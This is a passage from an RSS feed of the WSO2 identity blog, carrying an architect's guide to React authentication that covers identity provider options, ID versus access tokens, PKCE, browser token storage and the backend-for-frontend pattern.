<?xml version="1.0" encoding="utf-8"?><?xml-stylesheet type="text/xsl" href="rss.xsl"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
    <channel>
        <title>WSO2 Identity Content Hub Blog</title>
        <link>https://wso2.com/identity-platform/learn/</link>
        <description>WSO2 Identity Content Hub Blog</description>
        <lastBuildDate>Fri, 25 Sep 2026 00:00:00 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <language>en</language>
        <item>
            <title><![CDATA[The Architect's Guide to React Authentication: Choosing a Flow, a Store and a Boundary]]></title>
            <link>https://wso2.com/identity-platform/learn/architects-guide-react-authentication</link>
            <guid>https://wso2.com/identity-platform/learn/architects-guide-react-authentication</guid>
            <pubDate>Fri, 25 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Three decisions define React authentication architecture: which flow, where tokens live, and where enforcement happens. A guide for technical decision makers.]]></description>
            <content:encoded><![CDATA[<p>You may be asked to add login and user sign-up to your React application.</p>
<p>It sounds like an implementation task, but before you choose an SDK or write any code, there are a few architecture decisions you need to get right. Where should identity live? Who should be responsible for it? What should reach the browser? How should your React application connect to it? And when the application calls a backend, where should access actually be enforced?</p>
<p>This guide is intended to help you think through those questions as an architect.</p>
<p>It does not assume that you already understand identity standards, protocols or IAM terminology, and the goal is not to teach you all of them. We will introduce those concepts only when they help explain a particular architecture decision.</p>
<p>Instead, the focus is on giving you the right questions to ask yourself and the other teams involved, so you can find the right answers for your application and establish a solid authentication architecture before the implementation starts.</p>
<p>We will work through the architecture by answering a few questions: what does identity actually mean for a React application, and why does part of it need to live outside the browser; who should run and own that identity capability; once a user signs in, who should be responsible for handling the tokens; how should your React application connect to the identity system; what identity information can React use inside the application; and when React calls a protected backend, where should the real access-control decision happen.</p>
<p>By the end, you should have a clear picture of the authentication architecture around your React application and know what decisions need to be made before choosing a product, SDK or implementation pattern.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="start-with-what-identity-means-for-your-application">Start with what "identity" means for your application<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#start-with-what-identity-means-for-your-application" class="hash-link" aria-label="Direct link to Start with what &quot;identity&quot; means for your application" title="Direct link to Start with what &quot;identity&quot; means for your application" translate="no">​</a></h2>
<p>When somebody says "we need authentication," the visible requirement is normally sign-in.</p>
<p>But a real application usually needs more than checking a username and password.</p>
<p>It needs to know who the user is. It needs some way to decide what that user can do. It needs to remember that the user already signed in so they are not asked to prove themselves on every API call. Somebody has to create, update and disable user accounts. Eventually there will be password recovery, multi-factor authentication, enterprise sign-in or another requirement that was not part of the first implementation.</p>
<p>These different jobs have names in the identity world.</p>
<p>Checking who someone is is <strong>authentication</strong>.</p>
<p>Deciding what they are allowed to do is <strong>authorization</strong>.</p>
<p>Creating, updating and disabling their accounts is generally part of <strong>user lifecycle management</strong>.</p>
<p>The terminology itself is less important than understanding that these are separate responsibilities.</p>
<p>A user being successfully authenticated does not mean they should be allowed to do everything in your application.</p>
<p>As an example, both a finance administrator and a normal employee may successfully sign in. Authentication tells you that both users are who they claim to be. Authorization decides whether each user can approve a payment.</p>
<p>The important question for React architecture is where these responsibilities can safely live.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-identity-cannot-simply-live-inside-react">Why identity cannot simply live inside React<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#why-identity-cannot-simply-live-inside-react" class="hash-link" aria-label="Direct link to Why identity cannot simply live inside React" title="Direct link to Why identity cannot simply live inside React" translate="no">​</a></h2>
<p>A React application runs inside a browser on a device you do not control.</p>
<p>Anyone using your application can download the JavaScript, inspect it, debug it and change what runs in their browser. Anything included in the bundle should therefore be treated as public.</p>
<p>That gives us a useful architectural boundary.</p>
<p>React can participate in authentication, but it cannot be the trusted authority for authentication.</p>
<p>Consider a simple example:</p>
<div class="language-jsx codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-jsx codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain">user</span><span class="token punctuation" style="color:rgb(153, 76, 195)">.</span><span class="token property-access">isAdmin</span><span class="token plain"> </span><span class="token operator" style="color:rgb(12, 150, 155)">&amp;&amp;</span><span class="token plain"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">&lt;</span><span class="token tag class-name" style="color:rgb(17, 17, 17)">AdminPanel</span><span class="token tag" style="color:rgb(153, 76, 195)"> </span><span class="token tag punctuation" style="color:rgb(153, 76, 195)">/&gt;</span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>There is nothing wrong with this.</p>
<p>If the user is not an administrator, hiding the admin interface gives them the correct user experience.</p>
<p>But this code cannot protect the backend operation itself.</p>
<p>A user can modify the JavaScript. They can skip the UI completely and call your API directly.</p>
<p>So the React application can use identity information to decide what to display, but the trusted access decision still needs to happen somewhere outside the browser.</p>
<p>The same applies to sign-in itself.</p>
<p>React can collect a password, redirect the user to a sign-in page or start a passkey flow. But something outside React needs to keep the user record and verify the proof.</p>
<p>Account recovery also needs something outside the browser. The system may need to send an email, validate a one-time link, record recovery attempts and invalidate old credentials.</p>
<p>Once you look at the problem this way, identity is not another library that belongs inside your component tree.</p>
<p>It is a capability your application depends on.</p>
<p>The next architectural question is therefore straightforward:</p>
<p><strong>Where should that identity capability run, and who should be responsible for it?</strong></p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="four-ways-to-provide-identity">Four ways to provide identity<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#four-ways-to-provide-identity" class="hash-link" aria-label="Direct link to Four ways to provide identity" title="Direct link to Four ways to provide identity" translate="no">​</a></h2>
<p>There are four common answers.</p>
<p>You can build it yourself, use an authentication library inside your application, run a separate identity server, or use a managed identity service.</p>
<p>Each can produce a working sign-in screen.</p>
<p>The differences normally become visible later, when the requirements grow.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="build-it-yourself">Build it yourself<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#build-it-yourself" class="hash-link" aria-label="Direct link to Build it yourself" title="Direct link to Build it yourself" translate="no">​</a></h3>
<p>The first option is to own the identity implementation yourself.</p>
<p>Your backend stores users, verifies passwords and creates whatever session mechanism your application uses.</p>
<p>For a prototype, a hackathon or a small internal application, this can be reasonable.</p>
<p>The problem starts when the requirement stops being simply "check this password."</p>
<p>Soon you need email verification, password recovery, account locking, session revocation, multi-factor authentication, audit information and possibly single sign-on with another company's identity system.</p>
<p>None of these is impossible to build.</p>
<p>The real question is whether identity is something your application team wants to build and continue operating several years from now.</p>
<p>You are also taking responsibility for the security of that system. Libraries need security updates, behaviour has to be reviewed, and every new requirement extends a piece of infrastructure that your team created mainly because the application originally needed a login screen.</p>
<p>For most production applications, I would only choose this when owning identity itself is an intentional requirement.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="use-an-authentication-library-inside-the-application">Use an authentication library inside the application<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#use-an-authentication-library-inside-the-application" class="hash-link" aria-label="Direct link to Use an authentication library inside the application" title="Direct link to Use an authentication library inside the application" translate="no">​</a></h3>
<p>A second option is to use an authentication library such as Auth.js or Better Auth.</p>
<p>This removes a lot of low-level implementation work.</p>
<p>Instead of writing password handling, sessions and provider integrations completely yourself, you use a library that already provides much of that behaviour.</p>
<p>The important architectural point is where it runs.</p>
<p>The authentication capability still lives as part of your application stack.</p>
<p>For one application, this can be a very practical model.</p>
<p>But assume you later have three applications that should share the same users. Or an enterprise customer asks to connect its own company login. Or security wants authentication policy managed in one place.</p>
<p>At that stage, identity is starting to become reusable infrastructure rather than one feature inside one application.</p>
<p>That does not make an authentication library the wrong choice. It tells you where the natural boundary of that approach sits.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="run-a-separate-identity-service">Run a separate identity service<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#run-a-separate-identity-service" class="hash-link" aria-label="Direct link to Run a separate identity service" title="Direct link to Run a separate identity service" translate="no">​</a></h3>
<p>The third option is to move identity into its own service.</p>
<p>Examples include WSO2 Identity Server from WSO2 Identity Platform and Keycloak.</p>
<p>Your React application no longer owns the full authentication lifecycle. Instead, it redirects the user to the identity server, or still captures user input and calls an API exposed by the identity service which performs authentication and returns the result.</p>
<p>This separation becomes useful when multiple applications need the same users or security policies.</p>
<p>React remains responsible for your application experience. The identity service becomes responsible for identity.</p>
<p>The trade-off is operational.</p>
<p>You now have another production service to run. Your team is responsible for upgrades, security patches, availability, backups and configuration.</p>
<p>For organizations that need identity inside their own infrastructure, that control may be exactly what they want.</p>
<p>For teams that do not want another platform to operate, it may not be.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="use-identity-as-a-managed-service">Use identity as a managed service<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#use-identity-as-a-managed-service" class="hash-link" aria-label="Direct link to Use identity as a managed service" title="Direct link to Use identity as a managed service" translate="no">​</a></h3>
<p>The fourth option keeps identity as a separate capability but lets somebody else operate it.</p>
<p>Examples include WSO2 Identity Platform and Auth0.</p>
<p>The provider takes care of running the identity infrastructure, including upgrades, scaling and availability. Your team integrates the application and configures the authentication behaviour it needs.</p>
<p>For many teams, this is the shortest route to production authentication because identity does not become another service they need to operate.</p>
<p>The trade-off moves somewhere else.</p>
<p>You depend on an external provider, its deployment model and its commercial model.</p>
<p>If identity must remain inside your infrastructure, if the environment has no route to the public internet, or if you have a hard data-residency requirement that the service cannot meet, a managed public service may not fit.</p>
<p>The four approaches can be summarized as follows.</p>
<table><thead><tr><th>Approach</th><th>Where identity runs</th><th>Who operates it</th><th>Natural fit</th></tr></thead><tbody><tr><td>Build it yourself</td><td>Your application backend</td><td>Your team</td><td>Specialised cases where you deliberately want to own identity</td></tr><tr><td>Authentication library</td><td>Your application stack</td><td>Your team</td><td>Small application-centric authentication</td></tr><tr><td>Separate identity server</td><td>Independent service</td><td>Your team</td><td>Identity shared across applications, with infrastructure under your control</td></tr><tr><td>Managed identity service</td><td>Independent service</td><td>Provider</td><td>Shared identity without operating the identity platform yourself</td></tr></tbody></table>
<p>Once you make this decision, the user can sign in.</p>
<p>But your React application still has another problem.</p>
<p>The identity system knows that the user successfully authenticated. Your application and APIs now need a way to carry that result across requests.</p>
<p>This is where tokens enter the architecture.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-tokens-exist">Why tokens exist<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#why-tokens-exist" class="hash-link" aria-label="Direct link to Why tokens exist" title="Direct link to Why tokens exist" translate="no">​</a></h2>
<p>Assume the user signs in successfully.</p>
<p>You do not want to ask them to prove who they are again every time React loads a page or calls a backend. Instead, the identity system returns information that represents the result of that authentication. This information is commonly carried using a <strong>token</strong>.</p>
<p>There are several token types depending on the protocol and purpose. OAuth 2.0 has access tokens, OpenID Connect has ID tokens, and SAML uses assertions. Their formats can also be different. A token may be represented as a JWT, while a SAML assertion is XML, for example.</p>
<p>For this part of the architecture, the important distinction is between the <strong>OpenID Connect ID token</strong> and the <strong>OAuth 2.0 access token</strong>.</p>
<p>When your application needs to establish who the signed-in user is, the token designed for that purpose is the <strong>ID token</strong>. OpenID Connect returns an ID token containing claims about the authentication event and the authenticated user.</p>
<p>A typical ID token may look like this after it is decoded:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"iss"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"https://id.example.com"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"sub"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"248289761001"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"aud"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"react-app"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"exp"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">1787817600</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"iat"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token number" style="color:rgb(170, 9, 130)">1787814000</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"name"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"Alice"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"email"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"alice@example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>You do not need to understand every possible claim at this stage. A few are enough to understand how the token is used: <code>iss</code> tells you which identity system issued the token, <code>sub</code> is the stable identifier for the authenticated user, <code>aud</code> tells you which application the token was issued for, <code>exp</code> tells you when the token expires, and claims such as <code>name</code> and <code>email</code> provide information about the user.</p>
<p>The important part is that your application should not simply decode this JSON and trust what it says.</p>
<p>The ID token needs to be validated first. At a minimum, the application handling the OpenID Connect flow needs to verify that the token came from the identity provider it trusts, was issued for the expected application, has not expired, and has a valid signature.</p>
<p>In practice, you normally do not write this validation logic yourself. If your React application handles the OpenID Connect flow directly, the SDK should perform these checks for you. If you use a backend such as a BFF, that backend validates the ID token, establishes the application session and gives React only the user information it needs.</p>
<p>An <strong>access token</strong> has a different job.</p>
<p>It is issued so a client can access a protected API. The API, rather than the React application, is the intended consumer of that token.</p>
<p>This distinction is easy to miss because an ID token and an access token may both use the JWT format and may even contain some similar claims. That does not make them interchangeable.</p>
<p>If your application needs to know who signed in, that identity should come from the OpenID Connect authentication result and the ID token, or from an application session established from that result. You should not take an OAuth access token, decode it and treat whatever user information happens to be inside it as the application's authenticated identity.</p>
<p>The same principle applies regardless of who handles the tokens.</p>
<p>If React handles the OpenID Connect flow directly, it receives and validates the ID token through the SDK.</p>
<p>If a BFF handles authentication, React may never see the ID token at all. The BFF validates it, creates an application session and exposes the authenticated user state to React.</p>
<p>The access token remains for a different boundary: calling the protected API.</p>
<p>This is why tokens appear in the architecture in the first place.</p>
<p>Your React application runs in one place, the trusted identity system runs somewhere else, and the protected API may run somewhere else again. Tokens allow authentication results and API access to move across those boundaries without repeating the sign-in process for every request.</p>
<p>In modern React applications, the standards you will most commonly encounter here are <strong>OAuth 2.0</strong> and <strong>OpenID Connect</strong>, usually shortened to OIDC.</p>
<p>You do not need to implement these standards yourself to use them. Most identity platforms and SDKs handle the protocol details.</p>
<p>But you do need to make one architecture decision that directly affects your application:</p>
<p><strong>Who is responsible for handling these tokens?</strong></p>
<p>There are three common patterns.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="react-handles-the-tokens">React handles the tokens<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#react-handles-the-tokens" class="hash-link" aria-label="Direct link to React handles the tokens" title="Direct link to React handles the tokens" translate="no">​</a></h2>
<p>The first pattern is common in single-page applications.</p>
<p>In this model, the React application participates directly in the OpenID Connect flow. After the user signs in, the application receives the authentication result and the tokens it needs.</p>
<p>That normally means two different things are happening: the <strong>ID token</strong> is used to establish the authenticated user, and the <strong>access token</strong> is used when React calls a protected API.</p>
<p>If the identity provider also issues a refresh token to the browser application, that credential can be used to obtain new access tokens without asking the user to sign in again.</p>
<p>The important architectural point is that React is now directly responsible for handling some or all of these credentials.</p>
<p>When React calls an API, the access token is normally sent as follows:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">Authorization: Bearer &lt;access-token&gt;</span><br></span></code></pre></div></div>
<p>As discussed earlier, the access token is for the API. React should not decode that token and use whatever user information happens to be inside it as the source of truth for the signed-in user.</p>
<p>The authenticated user should come from the validated OpenID Connect authentication result, normally the ID token and the user state built from it.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="why-pkce-appears-in-this-pattern">Why PKCE appears in this pattern<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#why-pkce-appears-in-this-pattern" class="hash-link" aria-label="Direct link to Why PKCE appears in this pattern" title="Direct link to Why PKCE appears in this pattern" translate="no">​</a></h3>
<p>A React application runs in the browser, so it cannot safely keep a permanent client secret.</p>
<p>That creates a problem during the authorization flow. The application needs to exchange the authorization code returned after sign-in, but it cannot authenticate itself using a secret embedded in the JavaScript bundle.</p>
<p>This is where <strong>Proof Key for Code Exchange</strong>, or <strong>PKCE</strong>, comes in.</p>
<p>When React starts the sign-in flow, it creates a temporary random value and sends a derived value with the authorization request. When the authorization code comes back, the application has to provide the original value before the identity provider will complete the exchange.</p>
<p>In simple terms, PKCE helps prove that the application completing the flow is the same one that started it.</p>
<p>Your React code normally does not implement this directly. A suitable OIDC SDK handles it for you.</p>
<p>PKCE protects the authorization-code exchange. It does not make the browser itself trusted, and it does not solve the problem of protecting tokens after they have reached the browser.</p>
<p>That leads to the next decision.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="where-do-the-tokens-live">Where do the tokens live?<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#where-do-the-tokens-live" class="hash-link" aria-label="Direct link to Where do the tokens live?" title="Direct link to Where do the tokens live?" translate="no">​</a></h3>
<p>Once tokens are available to the React application, they have to be kept somewhere for as long as the application needs them.</p>
<p>There is no browser storage option that turns an untrusted browser into a trusted environment. The choices mainly change how long the credential remains available and how easily it can be extracted.</p>
<table><thead><tr><th>Storage location</th><th>Survives refresh</th><th>Main consideration</th></tr></thead><tbody><tr><td>Memory</td><td>No</td><td>Token disappears when the page is reloaded</td></tr><tr><td>Web Worker</td><td>No</td><td>Can isolate token handling from normal application code, with additional complexity</td></tr><tr><td>sessionStorage</td><td>Yes, within the tab</td><td>JavaScript running on the page can read it</td></tr><tr><td>localStorage</td><td>Yes</td><td>JavaScript running on the page can read and copy it</td></tr></tbody></table>
<p>The distinction that matters here is between <strong>stealing a credential</strong> and <strong>using the authenticated session while malicious code is already running inside the page</strong>.</p>
<p>Keeping an access token in memory can reduce the chance that an attacker extracts it and reuses it later from somewhere else.</p>
<p>But if malicious JavaScript is already executing in your application, it may still be able to make API requests as the user while that page remains active.</p>
<p>The same consideration applies to the ID token. React may need the authenticated user state derived from it, but that does not mean the application should keep the raw ID token around longer than necessary.</p>
<p>A good SDK can hide much of this lifecycle from your application code, but the architectural boundary does not change: in this pattern, authentication credentials reach the browser, so browser compromise remains part of your threat model.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="your-backend-handles-part-of-the-token-flow">Your backend handles part of the token flow<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#your-backend-handles-part-of-the-token-flow" class="hash-link" aria-label="Direct link to Your backend handles part of the token flow" title="Direct link to Your backend handles part of the token flow" translate="no">​</a></h2>
<p>The second pattern assumes your React application already has a backend.</p>
<p>The user still signs in with the identity provider, but the backend takes responsibility for the final part of the OpenID Connect flow.</p>
<p>Instead of React exchanging the authorization code directly, the backend performs that exchange and receives the tokens.</p>
<p>At this point, the backend can validate the ID token, establish who the user is, and keep longer-lived credentials such as the refresh token on the server.</p>
<p>React can still receive a short-lived access token if it needs to call a protected API directly.</p>
<p>So the responsibilities are split: the backend handles the OpenID Connect response and establishes the authenticated user, the backend keeps the refresh token, and React may still receive a short-lived access token for API calls.</p>
<p>This is an important distinction from the first pattern.</p>
<p>React no longer needs to treat the ID token as part of its authentication state, and it does not need to keep the refresh token. The backend can create an application session or return only the user information React actually needs.</p>
<p>The access token is still different. If React needs to call the protected API directly, the backend can give it a short-lived access token for that purpose.</p>
<p>The flow now looks more like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Start sign-in</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Identity provider</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Authorization code</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Backend</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Token exchange</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Identity provider</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Backend</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | \</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |  \ Refresh token stays here</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Short-lived access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>This changes the exposure considerably.</p>
<p>The refresh token is normally the credential with the longest useful lifetime. If it remains on the server, compromising the React application does not automatically give an attacker the ability to continue obtaining new access tokens over a long period.</p>
<p>React still handles an access token, so the browser has not disappeared from the credential path completely.</p>
<p>If malicious JavaScript runs in the page, it may still be able to use or extract that access token while it is valid.</p>
<p>The difference is that the damage is bounded by the lifetime and privileges of that short-lived token rather than by a longer-lived refresh credential.</p>
<p>This pattern is therefore useful when you already have a backend and want to move the most sensitive parts of the authentication flow out of the browser without changing the way React calls your APIs.</p>
<p>The backend becomes responsible for authentication and token renewal.</p>
<p>React remains responsible for presenting the authenticated experience and using short-lived access tokens when it needs to call protected APIs directly.</p>
<p>If you want to remove access tokens from React as well, the boundary needs to move one step further.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="your-backend-handles-all-tokens">Your backend handles all tokens<a href="https://wso2.com/identity-platform/learn/architects-guide-react-authentication#your-backend-handles-all-tokens" class="hash-link" aria-label="Direct link to Your backend handles all tokens" title="Direct link to Your backend handles all tokens" translate="no">​</a></h2>
<p>The third pattern moves token handling completely out of the React application.</p>
<p>React never receives the ID token, access token or refresh token.</p>
<p>The backend handles the OpenID Connect flow, validates the ID token, establishes the authenticated user and keeps all OAuth tokens on the server.</p>
<p>React receives an application session instead.</p>
<p>This is normally represented using a secure, HTTP-only cookie.</p>
<p>From React's point of view, authentication now looks much simpler.</p>
<p>The browser does not need to know anything about OAuth tokens. It only knows that it has an authenticated application session.</p>
<p>When React needs data, it calls your backend.</p>
<p>The browser sends the session cookie automatically, the backend identifies the user, obtains or uses the appropriate access token, and calls the protected API on the user's behalf.</p>
<p>This architecture is commonly called a <strong>Backend for Frontend</strong>, or <strong>BFF</strong>.</p>
<p>The flow looks like this:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Start sign-in</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">BFF</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Identity provider</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Authorization response</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">BFF</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Validate ID token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Keep access + refresh tokens</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Create application session</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">React application</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Session cookie</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">BFF</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    |</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    | Access token</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">    v</span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">Protected API</span><br></span></code></pre></div></div>
<p>The important boundary is now very clear.</p>
<p>React never needs to handle identity tokens or API tokens directly.</p>
<p>The BFF establishes the user from the OpenID Connect response and exposes only the user information the application needs, for example:</p>
<div class="language-json codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#403f53;--prism-background-color:#FBFBFB"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-json codeBlock_bY9V thin-scrollbar" style="color:#403f53;background-color:#FBFBFB"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#403f53"><span class="token punctuation" style="color:rgb(153, 76, 195)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"id"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"248289761001"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"name"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"Alice"</span><span class="token punctuation" style="color:rgb(153, 76, 195)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain">  </span><span class="token property" style="color:rgb(12, 150, 155)">"email"</span><span class="token operator" style="color:rgb(12, 150, 155)">:</span><span class="token plain"> </span><span class="token string" style="color:rgb(72, 118, 214)">"alice@example.com"</span><span class="token plain"></span><br></span><span class="token-line" style="color:#403f53"><span class="token plain"></span><span class="token punctuation" style="color:rgb(153, 76, 195)">}</span><br></span></code></pre></div></div>
<p>React can use this information to render the application, but the raw ID token does not need to leave the backend.</p>
<p>The same applies to access tokens.</p>
<p>When React needs to call a protected API, it calls the BFF. The BFF attaches the access token and makes the downstream request.</p>
